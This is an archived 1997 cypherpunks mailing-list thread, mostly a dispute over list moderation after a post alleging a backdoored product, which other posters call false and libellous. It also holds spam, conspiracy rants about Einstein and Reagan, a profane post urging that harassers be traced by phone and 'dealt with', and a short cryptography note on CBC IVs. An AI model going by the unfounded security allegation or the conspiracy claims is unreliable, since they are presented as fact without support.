reason, you still can't send it on to the main cypherpunks mailing
list, can you please tell me specifically which parts cause problems.
I will the CENSOR them out and try again.  This message contains
important, highly relevant information for the cypherpunks community.
Please help me do what it takes to get it accepted by the moderation
process.  Thanks.]

========

To: tcmay@got.net
CC: cypherpunks@toad.com
Chain: nym=antimod
In-reply-to: <v03007802af21505d61f5@[207.167.93.63]> (tcmay@got.net)
Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC?

Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (CENSOREDCENSOREDC
ENSOREDCENSOREDCE), I can see people arguing it should have gone to
- -flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

- --

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS
OREDCENSOREDCENSOREDCEN.  It's actually a hacked-up version of CENSOR with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
CENSOREDCENS. 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

- ---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

========

X-From: sandfort@crl.com Sat Feb 08 00:56:23 1997
Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST)
From: Sandy Sandfort <sandfort@crl.com>
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hi,

On 7 Feb 1997, Against Moderation wrote:

> What I object to more strongly and think is wrong is the
> fact that it went to *neither* list.

Unfortunately, it's not as simple as that.  As soon as I can
arrange it with John, I am going to stop moderating the list.
In the interim, I *will not* be sending your post onto either
the Flames or the Moderated lists.  This is done for legal 
reason.  As it is, you have already published a libel on the
unedited list by repeating Dimitri's libel.  This exposes you to
legal liability, but as an anonymous poster, you are somewhat
insulated from the consequences of your act.

If you would like to PRIVATELY discuss this matter with me, I
would not mind going into more detail with you.  Suffice it to 
say, I any re-publication by me of Dimitri's libel would expose
John and myself to legal liability and could also act to 
insulate Dimitri from liability as a result of CENSOREDCENSOREDCE
NSOREDCENDOREDCENDOREDC.

Take care,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

========

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ykV0cj2DsWs=
=ezEz
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: action@answerme.com
Date: Sat, 8 Feb 1997 04:50:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: $$ THE 30 SECOND COMMUTE $$
Message-ID: <199702081250.EAA16690@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,
Date: Sat, 8 Feb 1997 06:54:22 -0600
Message-Id: <12542268500622@sitegen.net>




         WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE!
        
 Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell 
 you about a little restaurant named McDonald's.  If you had bought the stock that I was 
 selling then, you'd certainly be doing the 30 second commute now!! 
 Seriously, had you bought that stock then, it would've been the right decision.


 Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. 
 
 What I want to know is:

 1.  Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself 
     and family?
 2.  Would you trade $100 for $600 ?
 3.  If you got promoted to president of the company, would you accept?
 4.  Would you make the right decision now, if you had to?
 5.  Would you e-mail me to see how you can do the 30 second commute?

 mailto: action@answerme.com
 
 Matt Emerson
 Toll Free: 1 800-976-8608
 Fax:         602 641-3514
 InterNet Address: http://www.rb-dist.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 8 Feb 1997 02:29:34 -0800 (PST)
To: lcs Remailer Administrator <mix-admin@nym.alias.net>
Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03
In-Reply-To: <19970207180418.28980.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970208051537.26495G-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 7 Feb 1997, lcs Remailer Administrator wrote:

> aga <aga@dhp.com> writes:
> 
> > Who attacked the network and for what reason?
> 
> Well, as best I can tell I've gotten caught in the crossfire of a
> spam/"anti-spam" spam war.  People are forging articles through
> anonymous remailers to solicit spam to non-spamming customers of
> "spam-friendly" ISPs, in the hopes of driving those customers away.
> In other words, a lot of articles are being posted to groups like
> alt.make.money.fast with headers like:
> 
>  From: customer@isp.under.attack (My^ISP^spams^I^should^switch)
> 
> Then the spam bots collect the addresses, and send lots of mail like
> 
>  To: customer@isp.under.attack (My^ISP^spams^I^should^switch)
>  Subject: Great opportunity!!!
> 
>  My^ISP^spams^I^should^switch,
> 
>  I saw your post the other day, and have an oportunity for you that's
>  so good you can't miss it...
> 
> It would be amusing if it weren't causing me hassles.  Ultimately,
> however, the person doing this is clearly trying to get ISPs to set
> more restrictive policies about what mail/news customers can send,

Well, that is bullshit, and that person needs to be stopped.  Anyone
trying to get more restrictive policies needs weeded out and
identified, and then dealt with.

> while knocking off a few anonymous remailers and mail2news gateways in
> the process.
> 
> > Well, just who is cutting you off and for what reason?
> > And what is their telephone number?
> 
> At issue here are a number of complicated high-level administrative
> issues.  It's not just that someone is trying to pull the plug on me.
> I've been asked by someone who is not the one getting the phone calls
> or exerting anti-mail2news pressure if I would stop using MIT news
> servers.  The reason is that that person needs to maintain good
> relations with the people who are being harassed over the fogery.
> 

Just who is getting harassed over this.  All you need to do is get me
the names and phone numbers, and we will eliminate this problem
immediately. 

> I don't really want to go into details.  

No, do not do it in this list, but respond by a private response
to this address.  This is a place you can trust.

The point is that this
> situation is a lot more subtle than whether the pro-mail2news people
> can "out-harrass" the people complaining about forgeries.  Therefore,
> I would sincerely appreciate it if you did not try to make any phone
> calls or do anything to use up any more of these people's time.

Well, it sounds like you are being a chicken shit now.  The whole
world runs on the telephone, and it all runs by voice, and not by
text.

  I
> fully intend to keep mail2news running, and am just trying to get more
> news servers (after having lost one) to maintain reliability and
> strengthen my position.
> 
> > Just what is your definition of "abuse?"
> 
> This got answered in a separate message.
> 

yes it did.  But why the fuck do you not want to find out who did
this to you?  I mean, Jesus fucking CHRIST!  Let's get some fucking
balls here.  You can not let that mothetfucker get away with that!

All you need is telephone numbers for some VERY nice phone calls.
Learn to use your voice and not just your keyboard.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 21:38:16 -0800 (PST)
To: sandfort@crl.com
Subject: Re: The Frightening Dangers of Moderation
Message-ID: <19970208053809.5070.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> Date: Fri, 7 Feb 1997 20:54:05 -0800 (PST)
> From: Sandy Sandfort <sandfort@crl.com>
> 
> Sir,

Please don't assume anything about my sex.  Do you think only men know
how to use nym servers?

> I asked you to keep our communications private.  You did not do
> so.  I have nothing further to say to you.

I understand your desire to keep this secret.  Believe me, I know this
must be an unpleasant situation for you.

Nonetheless, I believe this issue is so important and relevant to the
cypherpunks community that it outweighs your wish to keep it a secret.

I respect the difficulty of your situation, and would not try to air
this issue if I did not think exposing it immediately was of the
utmost importance.

Please, try to see this from as disinterested a point of view as
possible.  I know it's difficult being both the moderator and one of
the parties involved in the dispute.  However, we have a situation
here where threats of libel have suppressed not only technical
discussion of the actual software in question (which actually wouldn't
be much of a discussion), but even discussion on the mechanics of
moderation, something highly relevant to the list.  Worse yet, people
subscribed to the list DON'T EVEN KNOW that this discussion is being
suppressed.

We need to get this issue out, even if only in part.  If my article
was unacceptable, can you at least tell me which parts I should
eliminate.  I am willing to censor as much of it as I need to to get
it published, as long as my main point gets accross.  Surely you must
agree that my main point doesn't have anything to do with the piece of
software involved, right?  Has it really come down to a situation
where even the *fact* that some articles are being suppressed must be
suppressed?

Please.  Think of the purpose of cypherpunks.  Do the right thing.  I
am flexible.  I will edit my article even more.  But please, tell me
what I can do to get it onto the main list.  People need to know what
is happening.  I append my article here once again.  If you really
cannot accept it, at least tell me what I can change to get it
accepted.

Thank you.

- --

To: cypherpunks@toad.com
CC: tcmay@got.net
Subject: The Frightening Dangers of Moderation

Well, folks, tonight I have witnessed the frightening dangers of
moderation and censorship first-hand, and would like to tell you what
has happened.  I think there is an important lesson to be learned from
these incidents.

Before I explain what has happened, I want to make one thing
absolutely clear.  Though I've thought the moderation of cypherpunks
was a terrible idea from the start and am even more convinced of it
now, I don't assign any blame to Sandy.  I believe he offered to
moderate the list with the best of intentions, and I sincerely
appreciate his efforts to try to revive what was once a fantastic
mailing list, even if in my opinion those efforts have backfired.

Sandy has been a valuable advocate of cypherpunk beliefs and a lively
contributor to cypherpunks list for a long time.  Though the
moderation experiment has resulted in some terrible consequences, we
can't blame him for what has happened.  If the events I have witnessed
tonight occured with such a high-standing member of the cypherpunks
community in charge, the cause of them can only be the very nature of
moderation and censorship.  I don't think any of us could have done
much better in Sandy's shoes.

Now, what happened tonight?  As some of you may recall, a month or so
ago I vehemently argued against the elimination of the
cypherpunks-unedited mailingt list.  Some people (though no one
associated with toad.com) were claiming that 3 mailing lists might be
too much load, and that having cypherpunks and cypherpunks-flames
would be enough.  I argued that not only would the delay of waiting
for a decision put alternate cypherpunks moderators at a disadvantage,
it would make it farm more difficult to convince people of the
moderator's honesty as there would be no guarantee that messages made
it to either list.  Fortunately, cypherpunks-unedited did get created
(it seems no one "in charge" ever intended not to create it).

Well, as it turns out, a number of messages have made it neither to
cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
not only are certain messages being suppressed from both lists, but
even messages mentioning that fact get suppressed from both the
cypherpunks and the cypherpunks-flames lists!

Here's exactly what happened.  I was beginning to believe that Dmitri
Vulis had sent an (admitedly objectionable) message to the cypherpunks
mailing list, but that the message had gone to neither the cypherpunks
nor the cypherpunks-flames lists.  Since I was under the impression
that every article was supposed to go to one list or the other, and
many people probably still believe that, I mentioned this somewhat
startling fact on the cypherpunks mailing list, I believe in response
to a post by Tim May on the same subject.

Tim replied (in a message Cc'ed to cypherpunks--though I don't think
it went anywhere but to -unedited), asking me in the message, "Can you
send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS
OREDCENSOREDCENSORE?"  I therefore went back through my mail archives
and found a copy of the message that I believed had gone to neither
mailing list.  I sent it to Tim and to cypherpunks.  I prepended a few
paragraphs in which I asked people to confirm that the message had
gone to neither mailing list.  Among other things in those paragraphs,
I stated that Vulis's message was "verifiably false".  It was clear
from the context that I was forwarding this message to ask people
which lists it had gone to, not because I believed the content to be
correct or even at all convincing or interesting.  That message I
sent, quoting Vulis's, immediately follows this message, after the
line '========'.

Then, tonight, I received a message from Sandy, which I include below
a second '========' marker.  In that letter, Sandy had explicitly
aknowledged not only that he had sent Vulis's letter to neither
mailing list, but that he wouldn't send my letter to either mailing
list, either!  He claimed that he couldn't forward Vulis's message
because it was libel, and accused me of committing libel simply by
quoting Vulis's message, even though I explicitly stated that Vulis's
message was verifiably false.

Well, this travesty must exposed, even if I can't make known all the
details for fear of libel charges.  I am therefore forwarding
everything I can to the cypherpunks mailing list, for all to see.  As
you can see, Vulis made unfounded and incorrect charges that a
particular system contained a security hole.  Believe me, if I could
get into the details of the case I could convince you easily that his
claim is not true.  However, since even quoting that claim apparently
opens me up to charges of libel, I can't give you the details.  Thus,
I have censored (by overriting original text with the letters
CENSORED) any portion of quoted messages that might give you an
indication of what system Vulis actually claimed had a security hole.

This censorship should not, however, affect my main point, and the
lesson that I hope we can all take away from this.  When it comes down
to it, the details of this case do not matter.  What does matter is
that even when the "good guys" attempt benign censorship, it can have
frighteningly far-reaching effects on people's ability to discuss
otherwise reasonable topics such as the mechanics of the cypherpunks
list.  I generally dislike censorship and moderation, but the
consequences of the cypherpunks experiment have gone far beyond
anything I could have imagined.

In closing, let me reiterate that I don't think most of this is
Sandy's, John's, or anyone else's fault.  Given the knowledge I have
of this case, I believe Sandy has unwittingly found himself ensnarled
in a nasty legal situation where, for fear of legal reprisal he must
block articles that he has a moral obligation to send to
cypherpunks-flames.  I certainly don't envy his position.

[To moderator Sandy:  I believe we must get the content of this
message to the main cypherpunks mailing list.  I have done everything
I can to ensure that the message contains no libel.  If, for some
reason, you still can't send it on to the main cypherpunks mailing
list, can you please tell me specifically which parts cause problems.
I will the CENSOR them out and try again.  This message contains
important, highly relevant information for the cypherpunks community.
Please help me do what it takes to get it accepted by the moderation
process.  Thanks.]

========

To: tcmay@got.net
CC: cypherpunks@toad.com
Chain: nym=antimod
In-reply-to: <v03007802af21505d61f5@[207.167.93.63]> (tcmay@got.net)
Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC?

Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (CENSOREDCENSOREDC
ENSOREDCENSOREDCE), I can see people arguing it should have gone to
- -flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

- --

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS
OREDCENSOREDCENSOREDCEN.  It's actually a hacked-up version of CENSOR with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
CENSOREDCENS. 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

- ---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

========

X-From: sandfort@crl.com Sat Feb 08 00:56:23 1997
Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST)
From: Sandy Sandfort <sandfort@crl.com>
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Hi,

On 7 Feb 1997, Against Moderation wrote:

> What I object to more strongly and think is wrong is the
> fact that it went to *neither* list.

Unfortunately, it's not as simple as that.  As soon as I can
arrange it with John, I am going to stop moderating the list.
In the interim, I *will not* be sending your post onto either
the Flames or the Moderated lists.  This is done for legal 
reason.  As it is, you have already published a libel on the
unedited list by repeating Dimitri's libel.  This exposes you to
legal liability, but as an anonymous poster, you are somewhat
insulated from the consequences of your act.

If you would like to PRIVATELY discuss this matter with me, I
would not mind going into more detail with you.  Suffice it to 
say, I any re-publication by me of Dimitri's libel would expose
John and myself to legal liability and could also act to 
insulate Dimitri from liability as a result of CENSOREDCENSOREDCE
NSOREDCENDOREDCENDOREDC.

Take care,


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

========


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Fri, 7 Feb 1997 21:49:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless?
In-Reply-To: <199702071941.LAA29283@toad.com>
Message-ID: <5dh45q$mqh@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199702071941.LAA29283@toad.com>,
Peter Trei  <trei@ziplink.net> wrote:
>The purpose of an IV is to make dictionary and replay attacks more
>difficult. It is not intended to prevent brute force attacks, and so
>is _normally_ included in the clear in communications protocols (for
>example, see RFC 1827 for it's clear transmission in IPSEC). If it
>is not included, it is effectively part of the keying material, and
>thus adds it's bits to the strength of the key. As such, its value
>would have to be transmitted and protected as carefully as the rest of
>the key.  

This is a common mistake.  Just use the first block of ciphertext as the IV,
and start decrypting from the second block.  Let's say you discover that
key K causes C2,C3,... to decrypt to something intelligible (P2,P3,...),
using C1 as the IV.  What could P1 have been?  Well, we know that
(if IV is the _actual_ IV, which you don't know) E_K[IV^P1] = C1, so
IV^P1 = D_K[C1].  But we now have what is effectively a one-time pad
situation, where P1 is the plaintext, IV is the pad, and D_K[C1] is the
ciphertext.  Thus, if you don't know the IV in a CBC situation, you can
still recover all of the plaintext starting at the second block with
the same amount of work it would have taken to have recovered the whole
plaintext, given the IV (the IV does not in fact add its bits to the
strength of the key), but you learn nothing about the first block
(unless something about the protocol gives you a clue based on your knowledge
of subsequent blocks).

Disclaimer: I've been having a rough week...

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 8 Feb 1997 01:29:08 -0800 (PST)
To: "Mark M." <cypherpunks@toad.com>
Subject: Re: faulty moderation software: duplicate messages
In-Reply-To: <Pine.LNX.3.95.970207175220.1844A-100000@purple.voicenet.com>
Message-ID: <199702080928.CAA23787@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970207:1759 "Mark M." <markm@voicenet.com> said:

+All messages with "Sender: owner-cypherpunks-unedited@toad.com" are
+received from the flames list.  The difference between the unedited and
+moderated lists is that the moderated list changes the message ID,
+appending toad.com, and deletes all received headers before
+"majordom@localhost.*by toad.com".  None of the messages are being
+doubled; this is just the result of buggy software

    if you receive both the unedited and the censored plus flames, each 
    message should be doubled --unedited sends all messages, but fails 
    to always mark them in sender -basically, you need to key on the 
    fact the Message-ID is NOT ....@toad.com for the unedited file

    no, I dont have a problem with that, it is just stupid on toad's 
    part (John?) to not correctly identify the pass through messages 
    with 'Sender: owner-cypherpunks-unedited@toad.com'  --a few are, 
    but the vast majority are still shipped out as 'Sender: 
    owner-cypherpunks@toad.com' (and the 'Received' chain as I pointed 
    out in my original post). to me that is piss poor list management.

    unfortunately, I can not use procmail at this point on my mail 
    reader platform, but the internal filters are multilevel and do 
    allow enough flexibility. I use procmail extensively on my host for 
    autobots, spam filtering, objectional posters filtering, etc. 

    I think you  probably have an error in your procmail script as to 
    sending 'unedited' to flames. the theory stated is:
    
        mainline (censored) + flames == unedited

    but I will not test it since I prefer to read/respond off line with 
    MR/2 than Pine online. I will request Nick Knight for the 
    construction of his folders (except he has no lock mechanism) and I 
    might write a PPP POP3 mail recovery program, pass it through 
    procmail which passes it to a function to write it to MR/2's 
    folders.

        however you slice it, censorship on a freedom of speech list     
    just does not make it and we make fools of ourselves if we think 
    otherwise.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 08:34:21 -0800 (PST)
To: Otto Matic <ott0matic@hotmail.com>
Subject: Re: What else do I need for an Internet Server
In-Reply-To: <199702080427.UAA04975@f29.hotmail.com>
Message-ID: <32FCAAB0.292D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Otto Matic wrote:
> What else do I need for an internet server?
> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor  Need high
> speed hard drives.  These are the Tall Towers that have multiple
> drives, these are server towers.
> I think I have a router Hub.  And a couple LAN cards.
> That's all I have.  But I just got them, and I want to use them.  I assume I
> will be using some kind of UNIX software.

HP does some strange things to their BIOS software - you may want to
get one of those net analyzer tools and some low-level software that
can monitor what your HP's are sending and receiving, just in case.

They don't normally use Vectras for UNIX, so what effects you can
expect, I don't know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Sears <jsears@lsbsdi2.lightspeed.net>
Date: Sat, 8 Feb 1997 08:33:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: hello
Message-ID: <1.5.4.32.19970208163909.0068d200@mail.lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain


unscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 08:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: POST: The Frightening Dangers of Moderation
In-Reply-To: <Pine.LNX.3.95.970208063649.28912D-100000@dhp.com>
Message-ID: <32FCAFCD.A24@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


??? wrote:

[some text deleted]

> > Before I explain what has happened, I want to make one thing
> > absolutely clear.  Though I've thought the moderation of cypherpunks
> > was a terrible idea from the start and am even more convinced of it
> > now, I don't assign any blame to Sandy.  I believe he offered to
> > moderate the list with the best of intentions, and I sincerely
> > appreciate his efforts to try to revive what was once a fantastic
> > mailing list, even if in my opinion those efforts have backfired.

This is the fatal mistake, assuming it's really a mistake.
I've worked under several corporations where, at a certain
point in time, things just "went crazy", and the owners/
managers were scrambling desperately to plug as many holes
in the dike as they possibly could, to no avail.

People don't understand why things just "go crazy" at a particular
point, and so they accept the coincidence theory ruse, lacking any
other evidence.  Use your head, folks.  This is not a list made up
of sewing-circle nannies, these are security people, NSA, CIA, and
all the ugly things you shut out of your conversations because you
don't want to admit the truth.  "Paranoia is a way of knowing".

Today I saw an old picture of Albert Einstein in full Indian regalia,
smoking a peace pipe with some Hopi people.  I thought of the Capone
mob and the "kiss of death", or Judas and Jesus, you get the picture.

So Einstein puts his name and reputation and personal seal of approval
on the creation of the Doomsday Device, the atom bomb, knowing full
well that it will be used to murder millions of people. What does he
do for an encore?  Plants the "kiss of death" on the Hopis, whose
environment is co-opted by the mad bombers and their Nazi-infested
thug "scientist" cohorts, for the experimentation and storage of
nuclear and other hazardous materials.  You know, Nevada, Arizona,
New Mexico, all those "useless, desert lands" occupied by the
Indians.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sat, 8 Feb 1997 08:59:36 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Enlightened commentary on Netizen.
In-Reply-To: <199702080425.UAA08800@toad.com>
Message-ID: <3.0.1.32.19970208085517.02d211a8@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:41 PM 2/6/97 -0800, Anil Das wrote:

>    However, the question has to be asked, why the fuck should we non US
citizens go and buy
>    cryptographic software that is deliberately coded to allow the US
government to read our mail? 

You shouldn't.

Maybe someone should print up a batch of "Voyeur Enabled" stickers for all
the GAKed products  (or should that be KRAP products, since it is the Key
Recovery Alliance, but that is redundant) we will be seeing at our local
software stores.

Sometimes I think the reason for all this snake oil we have been seeing is
the Feds need it for extra lubricant so they don't chafe themselves while
getting off on reading our mail.

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 8 Feb 1997 09:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internet  Alert!    Pay for local dial-up??
In-Reply-To: <199702080516.AAA11248@alberta.sallynet.com>
Message-ID: <32FCB34A.7FBE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


E-Mail Communications wrote:

> See our "Patriotic Quotes That Make Sense"
> at the end of this publication.

> "We will always remember.  We will always be proud.  We will
> always be prepared, so we may always be free."
> -- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

What Ronald Reagan didn't say (but what he really meant):

"I come here to Bitburg to honor the fallen Nazis, because I am in
fact an honorary Nazi myself. Just ask my personal secretary Helen,
who used to work for Fritz Kraemer."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 8 Feb 1997 09:12:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: META: Censorship is Going Way too Far
Message-ID: <v03007800af225b8581dd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Fellow Cypherpunks (of the virtual community, even if not part of any
particular version of the list(s)),


I am about to drive over the Santa Cruz mountains for today's physical
meeting at Stanford, and made my last check of the Singapore archive site
to see if my last several messages to the CP list have appeared. (The
Singapore site archives the main list every four hours; the latest update
is 08:15 PST, local time.)

They have _not_ appeared, on either of the two lists, the main list and
filtered list. I don't know if they have appeared on the "unfiltered" list,
as I don't have access to an archive site for that, and don't subscribe to
it.  Some of these articles are now more than 18 hours old.

(I scanned the archive site carefully and did not see any of my articles.
If I somehow missed them (all four?!), I apologize to the Moderator and
will make an appointment with my eye doctor.)

Further, messages dated _much_ later in time are now on the Singapore site,
meaning they were "approved." (The latest such message I see is from J.
Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after
the first of my messages which never appeared on either the main list or
the flames list.)

My articles are dated:

* 2/7/97, 1:46 p.m. PST

* 2/7/97, 1:59 p.m., PST

* 2/7/97, 3:03 p.m., PST

* 2/7/97, 9:46 p.m., PST

I would normally give the message names here, but I suspect that even
mention of the message titles would cause _this_ message to be filtered
into the black hole  list. So, by avoiding even mention of the message
titles, I should be safe. Nothing in this message can be considered flamish
(beyond normal criticism) or libelous.

(Many articles with dates later than these have already appeared on the
main list, and some have already appeared on the Flames list. Why have none
of my articles gone through as of this morning?)

The subjects of my articles deal with the claims made by "Against
Moderation" and Vulis that certain articles were filtered from the stream
of articles without appearing on either the main list or the flames list,
and with no mention by the Moderator of this significant change to the
moderation policies.

I surmise that my articles are similarly vanishing into a black hole,
presumably because I have questioned the policies here. (Possibly my
articles have been side-tracked for further review, or for review by a
certain company's legal staff, or whatever. If so, this should be explained
to the main list. And the implications of this, if it is happening, should
be discussed on the main list.)

By the way, I will deliberately make no mention of the details of my
articles, or of those by Against Moderation, as I also surmise that any
articles dealing with a certain product by a certain company will be
filtered out completely.

(I carefully did not repeat the claims made against one of these products
in my articles, so there is no way under the sun I can be charged in any
court with "libel.")

To paraphrase the Detweiler of a couple of years ago, "I am quite shocked
by this situation." It is one thing to filter out posts which contain
infantile, barnyard taunts and insults, it is quite another to filter out
_content_.

